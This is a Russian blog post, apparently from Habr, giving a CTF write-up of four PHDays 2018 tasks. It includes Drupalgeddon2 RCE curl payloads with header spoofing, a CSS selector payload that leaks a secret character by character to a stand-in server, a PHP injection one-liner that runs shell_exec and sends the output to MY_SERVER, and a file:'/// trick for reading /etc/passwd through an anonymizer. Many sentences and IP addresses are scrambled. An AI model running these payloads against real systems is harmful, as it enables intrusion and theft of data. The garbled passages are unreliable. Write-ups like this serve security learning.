Главная » Хабрахабр » [Из песочницы] PHDays CTF 2018. Writeup верстальщика

[Из песочницы] PHDays CTF 2018. Writeup верстальщика

Привет, Хабр. Будучи верстальщиком, в этом году решил поучаствовать в CTF от PHDays.
Просмотрев список заданий, решил попытать счастья с таском Engeeks. Забегая вперед, скажу, что флаг в этом таске я так и не достал. Зато решил другие. Поэтому распишу то, до чего смог докопаться. Не пропадать же находкам.

Engeeks

172.104.246.110

Осмотрев главную (и единственную) страницу сайта обнаружил, что форма обратной связи не работает. Название, явно намекало на web сервер nginx. Указанный url для обработки отправленных сообщений отвечает статусом 404.

Сейчас по этому пути отдается страница со статусом 404, без раскрытия информации. Просмотрев исходник скрипта отправки, видим еще один закомментированный url `/admino4ka/contact_dev.php`. Примером взял картинку с интернета. Но несколько дней, после старта конкурса, переход по этой ссылке раскрывал настоящий ip адрес и порт бэкенд сервера в подписи.

162.
В оригинале ip адрес был 139. 95 и порт 63425. 190.

162. Страница 139. 95:63425 выглядит идентично 172. 190. 246. 104. Изучив содержимое, видим ссылки на 3 домена в зоне .local. 110/admino4ka, что подтверждает раскрытие настоящего ip бэкэнд сервера.

И… ничего. Пробуем обратиться к одной из них, подменив заголовок Host.


Страница отвечает 403 статусом.

Добавляем заголовок X-Forwarded-For со значением 127. Первая же мысль, что идет проверка на доступ с локального ip адреса. 0. 0. Бинго! 1. Видим страницу блога на друпале.

А вот вордпрессовский сайт, при попытке открытия редиректил на самого себя (http://wp.local:63425). Для доступа к блогу на джумле сценарий идентичный. После нескольких экспериментов выяснилось, что смена метода запроса с GET на POST помогла преодолеть и этот барьер.

0. Для удобства завернул адреса wp.local, drupal.local и joomla.local на 127. 1 и запустил локальный nginx сервер со следующим конфигом. 0.

events {
} http } server { server_name drupal.local; location / { proxy_set_header Host drupal.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } } server { server_name joomla.local; location / { proxy_set_header Host joomla.local; proxy_set_header X-Forwarded-For 127.0.0.1; proxy_pass http://139.162.190.95:63425; } }
}

Что позволило спокойно изучать содержимое этих сайтов, переходя по прямым ссылкам. Только для доступа к rest api вордпресса приходилось менять proxy_method POST; на proxy_method GET;

Версии CMS были довольно свежие. Изучение сайтов к сожалению ни к чему не привело. Эксплоит друпалгедона2 также не работал на друпал сайте. Даже, отчаявшись, пытался безрезультатно пробрутить пароли к админкам CMS.

curl -s -X 'POST' --data 'mail[%23post_render][]=exec&mail[%23children]=uname -a&form_id=user_register_form' -H 'Host: drupal.local' -H 'X-Forwarded-For: 127.0.0.1' 'http://139.162.190.95:63425/user/register?element_parents=account/mail/%23value&ajax_form=1'

Когда уже казалось, что все безуспешно в телеграмм канале появилась подсказка: «Hint for eNgeeks: Drupalgeddon2 is still alive». Что снова дало стимул, копать в сторону Drupalgeddon2. И не зря.

curl -k 'http://139.162.190.95:63425/user/register?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \ -H 'Host: drupal.local' \ -H 'X-Forwarded-For: 127.0.0.1' \ --data "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=sleep+5"

Выполнение этой команды, показало что есть blind RCE. Команда sleep отработала на сервере. Но радость была недолгой, попытки сконструировать более существенные команды провоцировали WAF на сервере, отменяя возможность выполнения. Долго промучавшись, оставил этот таск, не получив флаг.

Рабочую RCE получилось раскрутить до конца сразу же, после написания этой статьи. UPDATE: Закон подлости.

Board

172.104.246.110:9091

Вот он! Заглянув в исходный код сайта, я очень обрадовался. Исходник говорил, что передо мной SPA приложение. Вот он тот самый таск для верстальщика! К тому же, на тот момент когда я приступил к решению, в телеграмм канале уже была подсказка для этого таска.

Aaand nothing of your hacky things works? Hint2 for board: OK guys… So at first you need to get api sources. Did you noticed punycode dependency? Maybe there is exception that returns you full file path?

Что ж, punycode dependency? Действительно. В исходном коде бандла видим, что package.json так же попал в билд. И видна зависимость от модуля punycode версии 2.1.0 (Последней на данный момент).

Найдя этот модуль на гитхабе, замечаю свежее открытое Issue:

Его найти не так уж и сложно. Затем ищу, какое из значений передаваемых на сервер чувствительно к punycode. Это поле Title на экране переписки.

И перейдя по 172. Ошибка сервера, дает нам раскрытие путей. 246. 104. Логично предположить, что 172. 110:9091/05da126b0edfb13d3b9377797b5f25d6/methods.js можно увидеть исходный код модуля methods. 246. 104. 110:9091/05da126b0edfb13d3b9377797b5f25d6/index.js показывает исходник API сервера.

Например то, что флаг записан в поле secret админа. Тут можно найти много интересного.

async function createUser({ id, style
} = {}) { id = (0, _utils.sanitizeId)(id) || (0, _v.default)(); let created = new Date().getTime(), session = (0, _md.default)(`${id}|${created}|${(0, _v.default)()}`), user = { id, created, session, secret: id === _bot.adminId ? process.env.FLAG : 'nah... you don\'t need a secret...', style: (0, _utils.sanitize)(style) }; await _utils.db.Users.insertOne(user); return user;
}

Или то, что указав __NEW_FEATURE__ = true и передав css в поле style, мы можем сделать себе такой же красивый фон доски, как у админа.

app.post('/api/id', async (req, res) => { let _ref2 = await (0, _methods.createUser)({ style: req.body.__NEW_FEATURE__ && req.body.style }), id = _ref2.id, session = _ref2.session, secret = _ref2.secret; if (!id) return res.status(400).end(); res.cookie('session', session, { maxAge: 3600000, httpOnly: true }); res.status(200).json({ id, secret }); });

И так же, подтверждаем свои догадки по поводу XSS в этом задании.

async function visitPage(url) { let browser = await _puppeteer.default.launch(chromeSettings), page = await browser.newPage(); await page.setCookie({ name: 'session', value: adminSession, url, path: '/', expires: Math.floor(new Date().getTime() / 1000) + 5, httpOnly: true }); await page.goto(url, { 'waitUntil': 'domcontentloaded' }); await new Promise(r => setTimeout(r, visitingTimeout)); await browser.close();
}

Остается только в style запихать пейлоад, написать сообщение на доске админа, и стянув его сессию подсмотреть значение secret. Но не все так просто. Как можно заметить, style проходит обработку перед сохранением. Что исключает возможность выйти за пределы тэга style и выполнить скрипт.

function sanitize(str) { str = (str || '').replace(/[<>'\\*\n\s]/g, ''); return forbiddenWordsRE.test(str) ? null : str;
}

Если изучить сгенерированный DOM страницы доски, видно, что секрет зачем-то добавляется в аттрибут content элемента с id secret.

Скрипт не нужен, достану флаг через CSS. После обнаружения этого момента все кусочки пазла встали на свои места.

#secret[content^=A]{background-image:url(http://MY_SERVER/url/A)}
#secret[content^=a]{background-image:url(http://MY_SERVER/url/a)}
#secret[content^=B]{background-image:url(http://MY_SERVER/url/B)}
#secret[content^=b]{background-image:url(http://MY_SERVER/url/b)}
#secret[content^=C]{background-image:url(http://MY_SERVER/url/C)}
#secret[content^=c]{background-image:url(http://MY_SERVER/url/c)}
...

Составив подобные пейлоады на получение каждого символа секрета и заставив админа перейти к твоей доске, в логах своего веб сервера можно увидеть обращение к соответствующим символу путям. И так посимвольно вытащить значение флага.

Я же воспользовался сервисом webhook.site вместо сервера, так как решал таски подручными средствами.

mnogorock

172.104.137.194

Открыв ссылку, сразу видим подсказку в исходном коде страницы. Данный таск решился на удивление очень быстро.

Отправляю, и в ответ приходит строка «du u now de wei?» Нам намекают отправить POST запрос с полем comand равным inform().

Допустим test. Пробую отправить, в качестве команды что-то другое. Сервис отвечает ошибкой и классным роликом про красную шапочку.

Отсюда мы понимаем, что перед нами черный ящик написанный на PHP.

Пробую выполнить php функцию обернув ее кавычкой. Экспериментально находим, что конструкции вида [inform(), inform()], inform(inform()) и 'inform'() работают, выполняя функцию inform на сервере.

'sleep'(5)

По времени ответа видно, что функция выполнилась. И тут я проявил оплошность. Вместо выполнения команд через system, что дало бы сразу вывод команды в исходный код, я попытался вызывать функции через shell_exec. А это дало только blind RCE. Ни curl, ни wget на сервере не отрабатывали для передачи результатов выполнения команды. Спасла php функция file_get_contents.

Итоговый эксплоит выглядел так:

'file_get_contents'('http://MY_SERVER/url/'.'base64_encode'('shell_exec'('cat index.php')))

В качестве стороннего сервера опять выступал webhook.site. Получив исходный код скрипта был немного растерян, не обнаружив флаг внутри. Но походив немного по папкам, флаг был быстро обнаружен в одном из файлов в корне.

CryptoApocalypse

92.53.66.223

Авторами было расставлено много хонипотов. Наверное самый тролирующий таск среди всех. Проверив на обработку кавычек, адресом http://' видим одну из шуток разработчиков: Вставляя разные адреса в поле, убедился, что это сервис-анонимайзер.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND sign=true AND url 'http://'' at line 1

Выглядит почти очень убедительно. Если бы не пробел после слова url, не знаю сколько времени провел бы за поиском несуществующей SQL инъекции.

Попытавшись подконектиться к mysql сервису на 3306 порт видим сообщение:

Host MY_IP is not allowed to connect to this MySQL server

Подставив адрес 127.0.0.1 убедился, что сервис может открывать локальные адреса. Но при обращении по адресу 127.0.0.1:3306 через анонимайзер видим, что хоть доступ получен, но Got packets out of order. Что означает, что mysql сервер пытался обработать поля из запроса.

Тупик. Вроде все. Идем в телеграм канал за подсказкой и видим:

Hint for CryptoApocalypse: check dump.tar.gz

92.53.66.223/dump.tar.gz. Очень смешно. Что еще?

Hint for CryptoApocalypse: No need for ssrf, read the source file!

You should get the source code using “file” via curl! Hint for CryptoApocalypse: Ok, ok!

Так, а вот это уже полезное. Но попытка открытия ссылки file:///etc/passwd открывает очередной троллинг создателей таска. Остаются считанные часы до окончания CTF. Панически уже пробую разные варианты написания ссылок. Как вдруг! file:'///etc/passwd

Но нет. Немного удивляюсь, не очередной ли это троллинг от авторов. Хорошо. Ссылка file:'///etc/hosts так же работает. Сразу проверил файл /var/www/html/index.php и не ошибся. Осталось найти флаг. Флаг был внутри.

S.: Как выяснил позже, вместо кавычки в file:'///var/www/html/index.php можно было поставить любой символ. P.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Современная веб-разработка: выбери себе приключение

Недавно я делал доклад о том, какие шишки можно набить, занимаясь современной веб-разработкой. Привет. Предлагаю вам почитать этот пост, выбрать свои варианты, дополнить квест и обсудить то, что наболело. Получилось что-то вроде квеста с распределенным выбором: от того, какой язык ...

Oh, My Code: Как стать успешным в IT

Что нужно, чтобы добиться успеха в IT? Об этом и многом другом мы поговорили в новом выпуске ток-шоу Oh, My Code с Дмитрием Гришиным, сооснователем и председателем совета директоров Mail.ru Group, основателем Grishin Robotics. Не могу не начать наш разговор ...